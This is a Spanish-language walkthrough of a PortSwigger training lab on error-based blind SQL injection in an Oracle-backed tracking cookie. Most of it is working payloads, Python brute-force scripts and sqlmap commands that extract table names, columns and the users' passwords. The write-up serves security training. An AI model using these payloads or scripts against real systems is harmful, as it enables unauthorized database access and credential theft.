SQLI Lab 12
Skills
- Blind SQL injection with conditional errors
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de Blind SQL Injection
. La web utiliza una cookie
de seguimiento para analíticas y realiza una consulta SQL
que incluye el valor de la cookie enviada. Los resultados de la consulta SQL
no se devuelven
, sin embargo, si la consulta SQL
genera un error
, la aplicación devuelve un mensaje
de error
personalizado. La base
de datos
contiene una tabla
diferente llamada users
, con columnas
llamadas username
y password
. Debemos explotar
la Blind SQL Inyectiion
para averiguar la contraseña del usuario administrador
. Para resolver el laboratorio, hay que inicia sesión
como el usuario administrador
Resolución
Al acceder
a la web
nos sale esto
Si capturamos
la petición
a la web con Burpsuite
vemos un campo llamado TrackingId
Si enviamos una petición normal a la web no notaremos nada extraño, sin embargo, si añadimos una '
al en el campo TrackingId
nos arrojará un internal server error
, esto quiere decir que podemos hemos logrado interferir
en la consulta SQL
que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Si en el campo cookie efectuamos esta inyección ' or 1=1-- -
, también funcionaría usar ' and 1=1-- -
, otra alternativa sería usar '|| (select '' from dual) ||'
, de esta forma evitamos comentar
la query
y estamos concatenando
nuestra query
con la existente
. El internal server error
ya no aparece, esto es debido a que ya no se está produciendo ese error. Para obtener el número de columnas existentes usamos un order by
, en este caso sabemos que hay una columna, debido a que si hacemos order by 2
o superior nos arroja un error
1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+order+by+1--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn
Obtenemos el tipo de base
de datos
que se está empleando, la cual es Oracle
, esto lo sabemos porque al debemos añadir from dual
al final de la consulta para evitar errores
1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+union+select+null+from+dual--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn
He probado a verificar si había alguna diferencia entre usar or
y and
en consultas como ' or (select 'a' from dual)='b'-- -
y no hay diferencia alguna. Independientemente del operador utilizado al comparar dos strings, da igual que no sean iguales, no nos arroja ningún error. Por lo tanto no vamos a poder utilizar substr()
, o length()
para obtener la longitud y posteriormente bruteforcear carácter por carácter
Debido a que no se produce ningún error, podemos usar esta query para provocarlo nosotros. Funciona de la siguiente forma, lo primero que comprueba es select from dual
y si esa consulta
es válida
y no
produce errores
se dirige al case case when (1=1) then to_char(1/0) else '' end
. En el case lo que hace es, en caso de que (1=1)
sea cierto genere un error mediante to_char(1/0)
y si no es cierto que se vaya a la parte del else
y no genere ningún error. El nombre de la columna no es obligatorio en el SELECT
cuando se utilizan expresiones como CASE
, porque Oracle genera un alias automáticamente para la columna calculada
1
Cookie: TrackingId=mSNHzn6Uz17ftRBH'||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)+||'; session=JUBiNvas8e5LhVOxp3vSewIFA0Se9qsx
Una vez tenemos esta forma, ahora podemos listar la longitud de la versión, si enviamos este payload los devolverá un error
, esto significa que está funcionando. Si cambiamos la condición > 1
por = 1
la web nos responderá con un 200 OK
, esto es porque la consulta está bien formulada, de lo contrario nos devolvería un error en todas las ocasiones
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) > 1) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Identificamos
que la longitud
de la versión
de Oracle
es de 225 caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) = 225) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Con esta otra consulta podremos obtener la versión
de Oracle
, se puede hacer con un ataque Cluster bomb
desde Burpsuite
o mediante un script
en python
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Para poder dumpear datos
vamos a utilizar todos los caracteres imprimibles
de la librería string
de python
1
2
3
4
5
6
7
8
(pythonProject) PS C:\Users\Sergio\PycharmProjects\pythonProject> python
Python 3.11.10 | packaged by Anaconda, Inc. | (main, Oct 3 2024, 07:22:26) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Como vamos
a iterar
para a eliminar
los caracteres
que se repiten
1
2
3
4
5
6
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
print(characters)
1
2
# python print_characters.py
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Debido a que el Cluster bomb
de Burpsuite
no es tan cómodo usarlo, vamos a usar python
para que nos dumpee
el output completo de la instrucción version()
. Lo primero que debemos hacer es instalar pwntools
1
2
3
4
# sudo apt-get update
# sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# python3 -m pip install --upgrade pip --break-system-packages
# python3 -m pip install --upgrade pwntools --break-system-packages
He creado este script
en python
el cual nos permitirá bruteforcear
carácter por carácter la versión
de base
de datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a5e00cf03a81efd83b2324e003400fd.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 226):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Vemos que nos encontramos ante una base
de datos
de Oracle
1
2
3
# python sqli_conditional_error.py
[q] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 225, 1) = 'n') then to_char(1
[p] Output: CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production
Para verlo más claramente podemos aplicar
una sustitución
1
2
# echo 'CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production' | tr '%' ' '
CORE 11 2 0 2 0 Production NLSRTL Version 11 2 0 2 0 Production Oracle Database 11g Express Edition Release 11 2 0 2 0 64bit Production PL SQL Release 11 2 0 2 0 Production TNS for Linux Version 11 2 0 2 0 Production
Obtenemos
el la longitud
de todos los propietarios
1
Cookie: TrackingId=lnS9gSlm0CA61ePa'||(select case when (length((select listagg(owner, ' ') within group (order by owner) from all_tables)) = 422) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Vamos a utilizar este payload
para obtener
a los propietarios
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Vamos a usar este script
para iterar
sobre el payload
anterior para obtener el nombre de todos los propietarios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 423):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Ejecutamos
el script
y obtenemos
todos los propietarios
1
2
3
# python sqli_conditional_error.py
[◐] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = '0') then to_char(1/0
[↗] Output: SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_04000
Para que se vea más claramente vamos a sustituir
el %
por un salto de línea
y vamos a eliminar
los duplicados
1
2
3
4
5
6
7
8
echo 'SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_040000' | tr '%' '\n' | sort -u
APEX_040000
CTXSYS
MDSYS
PETER
SYS
SYSTEM
XDB
Para identificar
las tablas
cuyo propietario es PETER
, primero necesitamos obtener la longitud
de estas tablas
y para eso usamos este payload
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Obtenemos
que la longitud
es de 14 caracteres
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) = 14) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Vamos a usar ahora este otro payload
para obtener
los caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Este script
de python itera
sobre el payload
anterior y nos devuelve
el nombre
de las tablas
que tiene el usuario propietario PETER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 15):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
las tablas
1
2
3
# python sqli_conditional_error.py
[p] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'
[↖] Output: TRACKING%USERS
A continuación vamos a listar la longitud
de las columnas
de la tabla USERS
cuyo propietario es PETER
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
La longitud
es de 23 caracteres
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) = 23) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Vamos a usar ahora este payload
para obtener
los caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Con este script
en python iteramos
sobre el payload
anterior y obtenemos
el nombre
de las columnas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 24):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
las columnas
1
2
3
# python sqli_conditional_error.py
[▝] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_na
[█] Output: EMAIL%PASSWORD%USERNAME
Usamos este payload
para obtener
la longitud
contenido de las columnas USERNAME
y PASSWORD
de la tabla USERS
cuyo propietario es PETER
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) > 1) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Obtenemos
que 90
es la longitud
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) = 90) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Usamos este payload
para obtener
los caracteres
de las columnas
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Con este script
vamos a iterar
sobre el payload
anterior para obtener
el contenido
de las columnas USERNAME
y PASSWORD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 91):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
los nombres
de usuario
y sus contraseñas
1
2
3
# python sqli_conditional_error.py
[o] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 90, 1) = '9')
[┤] Output: administrator%o8o2ftyyxe50qjus5ekp%carlos%nd3ci79kfb08kv2i4azn%wiener%hwxs7o9pmdwyu3i1cf39
También podemos obtener
las credenciales
usando sqlmap
, para ello, lo primero es listar
a los propietarios
1
2
3
4
5
6
7
8
9
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" --threads 2
available databases [7]:
[*] "SYSTEM"
[*] APEX_040000
[*] CTXSYS
[*] MDSYS
[*] PETER
[*] SYS
[*] XDB
Listamos
las tablas
del propietario PETER
1
2
3
4
5
6
7
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER --tables --threads 2
Database: PETER
[2 tables]
+----------+
| TRACKING |
| USERS |
+----------+
Listamos
las columnas
de la tabla USERS
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS --columns --threads 2
Database: PETER
Table: USERS
[3 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| EMAIL | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| USERNAME | VARCHAR2 |
+----------+----------+
Listamos
el contenido
de las columnas USERNAME
y PASSWORD
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS -C USERNAME,PASSWORD --dump --threads 2
Database: PETER
Table: USERS
[3 entries]
+---------------+----------------------+
| USERNAME | PASSWORD |
+---------------+----------------------+
| administrator | xjuxt7s1x0qt838i0tg5 |
| wiener | q6l6ukh8q4a35mimkcdn |
| carlos | ya8sfgeqqbyr0a5ry95w |
+---------------+----------------------+
Nos logueamos
con las credenciales
de administrador